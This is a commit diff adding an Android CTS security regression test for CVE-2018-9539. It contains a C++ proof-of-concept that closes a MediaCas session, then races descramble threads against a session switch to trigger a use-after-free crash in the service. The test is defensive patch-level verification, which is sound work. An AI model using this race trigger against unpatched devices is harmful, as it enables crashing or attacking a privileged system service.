CTS test for Android Security CVE-2018-9539

Test: android.security.cts.Poc18_11#testPocCVE_2018_9539
Bug: 113027383
Bug: 117433601
Change-Id: Ia0ebb1598843b281029376ec65f20bf5a289677c
diff --git a/hostsidetests/securitybulletin/AndroidTest.xml b/hostsidetests/securitybulletin/AndroidTest.xml
index b65d6e0..09e64d1 100644
--- a/hostsidetests/securitybulletin/AndroidTest.xml
+++ b/hostsidetests/securitybulletin/AndroidTest.xml
@@ -173,6 +173,11 @@
         <option name="push" value="CVE-2018-9515->/data/local/tmp/CVE-2018-9515" />
 
         <!--__________________-->
+        <!-- Bulletin 2018-11 -->
+        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+        <option name="push" value="CVE-2018-9539->/data/local/tmp/CVE-2018-9539" />
+
+        <!--__________________-->
         <!-- Bulletin 2019-03 -->
         <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
         <option name="push" value="Bug-115739809->/data/local/tmp/Bug-115739809" />
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9539/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9539/Android.mk
new file mode 100644
index 0000000..2be9f4a
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9539/Android.mk
@@ -0,0 +1,42 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2018-9539
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_SHARED_LIBRARIES := \
+    libutils \
+    liblog \
+    android.hardware.cas@1.0 \
+    android.hardware.cas.native@1.0 \
+    libhidlbase \
+    libhidltransport \
+    libhwbinder \
+    libbinder \
+    libcutils \
+
+LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wall -Werror
+
+include $(BUILD_CTS_EXECUTABLE)
+
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9539/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9539/poc.cpp
new file mode 100644
index 0000000..5f9bd37
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9539/poc.cpp
@@ -0,0 +1,179 @@
+#include <android/hardware/cas/1.0/ICas.h>
+#include <android/hardware/cas/1.0/IMediaCasService.h>
+#include <android/hardware/cas/native/1.0/IDescrambler.h>
+#include <binder/MemoryHeapBase.h>
+#include <utils/StrongPointer.h>
+
+#include <stdio.h>
+
+#include "../includes/common.h"
+
+using ::android::MemoryHeapBase;
+using ::android::sp;
+using ::android::hardware::hidl_handle;
+using ::android::hardware::hidl_memory;
+using ::android::hardware::hidl_string;
+using ::android::hardware::hidl_vec;
+using ::android::hardware::Return;
+using namespace android::hardware::cas::V1_0;
+using namespace android::hardware::cas::native::V1_0;
+
+#define CLEARKEY_SYSTEMID (0xF6D8)
+
+#define THREADS_NUM (5)
+
+typedef enum {
+  RESULT_CRASH,
+  RESULT_SESSION1,
+  RESULT_SESSION2,
+} thread_result_t;
+
+// Taken from cts/tests/tests/media/src/android/media/cts/MediaCasTest.java
+static const char *provision_str =
+    "{                                                   "
+    "  \"id\": 21140844,                                 "
+    "  \"name\": \"Test Title\",                         "
+    "  \"lowercase_organization_name\": \"Android\",     "
+    "  \"asset_key\": {                                  "
+    "  \"encryption_key\": \"nezAr3CHFrmBR9R8Tedotw==\"  "
+    "  },                                                "
+    "  \"cas_type\": 1,                                  "
+    "  \"track_types\": [ ]                              "
+    "}                                                   ";
+static const uint8_t ecm_buffer[] = {
+    0x00, 0x00, 0x01, 0xf0, 0x00, 0x50, 0x00, 0x01, 0x00, 0x00, 0x00,
+    0x01, 0x00, 0x46, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00,
+    0x00, 0x01, 0x00, 0x00, 0x27, 0x10, 0x02, 0x00, 0x01, 0x77, 0x01,
+    0x42, 0x95, 0x6c, 0x0e, 0xe3, 0x91, 0xbc, 0xfd, 0x05, 0xb1, 0x60,
+    0x4f, 0x17, 0x82, 0xa4, 0x86, 0x9b, 0x23, 0x56, 0x00, 0x01, 0x00,
+    0x00, 0x00, 0x01, 0x00, 0x00, 0x27, 0x10, 0x02, 0x00, 0x01, 0x77,
+    0x01, 0x42, 0x95, 0x6c, 0xd7, 0x43, 0x62, 0xf8, 0x1c, 0x62, 0x19,
+    0x05, 0xc7, 0x3a, 0x42, 0xcd, 0xfd, 0xd9, 0x13, 0x48,
+};
+
+static sp<IDescrambler> descrambler;
+static pthread_barrier_t barrier;
+
+static void *thread_func(void *) {
+  // Prepare everything needed for an encrypted run of descramble
+
+  sp<MemoryHeapBase> heap = new MemoryHeapBase(0x1000);
+
+  native_handle_t *handle = native_handle_create(1, 0);
+  handle->data[0] = heap->getHeapID();
+
+  SharedBuffer src;
+  src.offset = 0;
+  src.size = 0x1000;
+  src.heapBase = hidl_memory("ashmem", hidl_handle(handle), heap->getSize());
+
+  DestinationBuffer dst;
+  dst.type = BufferType::SHARED_MEMORY;
+  dst.nonsecureMemory = src;
+
+  hidl_vec<SubSample> subsamples;
+  SubSample subsample_arr[0x100] = {
+      {.numBytesOfClearData = 0, .numBytesOfEncryptedData = 0x10}};
+  subsamples.setToExternal(subsample_arr, 0x100);
+
+  Status descramble_status;
+
+  // Wait for all other threads
+  pthread_barrier_wait(&barrier);
+
+  // Run descramble
+  Return<void> descramble_result = descrambler->descramble(
+      ScramblingControl::EVENKEY, subsamples, src, 0, dst, 0,
+      [&](Status status, uint32_t, const hidl_string &) {
+        descramble_status = status;
+      });
+
+  // Cleanup
+  native_handle_delete(handle);
+
+  if (!descramble_result.isOk()) {
+    // Service crashed, hurray!
+    return (void *)RESULT_CRASH;
+  }
+
+  // If descramble was successful then the session had a valid key, so it was
+  // session1. Otherwise it was session2.
+  return (void *)(descramble_status == Status::OK ? RESULT_SESSION1
+                                                  : RESULT_SESSION2);
+}
+
+int main() {
+  // Prepare cas & descrambler objects
+
+  sp<IMediaCasService> service = IMediaCasService::getService();
+  FAIL_CHECK(service != NULL);
+
+  sp<ICas> cas = service->createPlugin(CLEARKEY_SYSTEMID, NULL);
+  FAIL_CHECK(cas->provision(provision_str) == Status::OK)
+
+  sp<IDescramblerBase> descramblerBase =
+      service->createDescrambler(CLEARKEY_SYSTEMID);
+  descrambler = IDescrambler::castFrom(descramblerBase);
+
+  time_t timer = start_timer();
+  while (timer_active(timer)) {
+    // Prepare sessions
+    Status opensession_status;
+    hidl_vec<uint8_t> session1;
+    cas->openSession([&](Status status, const hidl_vec<uint8_t> &sessionId) {
+      opensession_status = status;
+      session1 = sessionId;
+    });
+    FAIL_CHECK(opensession_status == Status::OK);
+    // Add a key to the first session. This will make descramble work only on
+    // the first session, helping us differentiate between the sessions for
+    // debugging.
+    hidl_vec<uint8_t> ecm;
+    ecm.setToExternal((uint8_t *)ecm_buffer, sizeof(ecm_buffer));
+    FAIL_CHECK(cas->processEcm(session1, ecm) == Status::OK);
+
+    hidl_vec<uint8_t> session2;
+    cas->openSession([&](Status status, const hidl_vec<uint8_t> &sessionId) {
+      opensession_status = status;
+      session2 = sessionId;
+    });
+    FAIL_CHECK(opensession_status == Status::OK);
+
+    // Set the descrambler's session to session1, then close it (and remove it
+    // from the sessions map). This way the only reference on the service to
+    // session1 will be from descrambler's session.
+    FAIL_CHECK(descrambler->setMediaCasSession(session1) == Status::OK);
+    FAIL_CHECK(cas->closeSession(session1) == Status::OK);
+
+    // Prepare the threads which run descramble
+    FAIL_CHECK(pthread_barrier_init(&barrier, NULL, THREADS_NUM + 1) == 0);
+    pthread_t threads[THREADS_NUM];
+    for (size_t i = 0; i < THREADS_NUM; i++) {
+      FAIL_CHECK(pthread_create(threads + i, NULL, thread_func, NULL) == 0);
+    }
+
+    // Let the threads run by waiting on the barrier. This means that past this
+    // point all threads will run descramble.
+    pthread_barrier_wait(&barrier);
+
+    // While the threads are running descramble, change the descrambler session
+    // to session2. Hopefully this will cause a use-after-free through a race
+    // condition, session1's reference count will drop to 0 so it will be
+    // released, but one thread will still run descramble on the released
+    // session.
+    FAIL_CHECK(descrambler->setMediaCasSession(session2) == Status::OK);
+
+    // Go over thread results
+    for (size_t i = 0; i < THREADS_NUM; i++) {
+      thread_result_t thread_result;
+      FAIL_CHECK(pthread_join(threads[i], (void **)&thread_result) == 0);
+      if (thread_result == RESULT_CRASH) {
+        return EXIT_VULNERABLE;
+      }
+    }
+
+    // Cleanup
+    FAIL_CHECK(cas->closeSession(session2) == Status::OK);
+    FAIL_CHECK(pthread_barrier_destroy(&barrier) == 0);
+  }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_11.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_11.java
index 9e50e1e..81911ed 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_11.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_11.java
@@ -31,4 +31,12 @@
         assertTrue(AdbUtils.runCommandGetExitCode(
                 "pm dump com.android.settings | grep SliceBroadcastReceiver", getDevice()) != 0);
     }
+
+    /**
+     *  b/113027383
+     */
+    @SecurityTest(minPatchLevel = "2018-11")
+    public void testPocCVE_2018_9539() throws Exception {
+        AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2018-9539", getDevice(), 300);
+    }
 }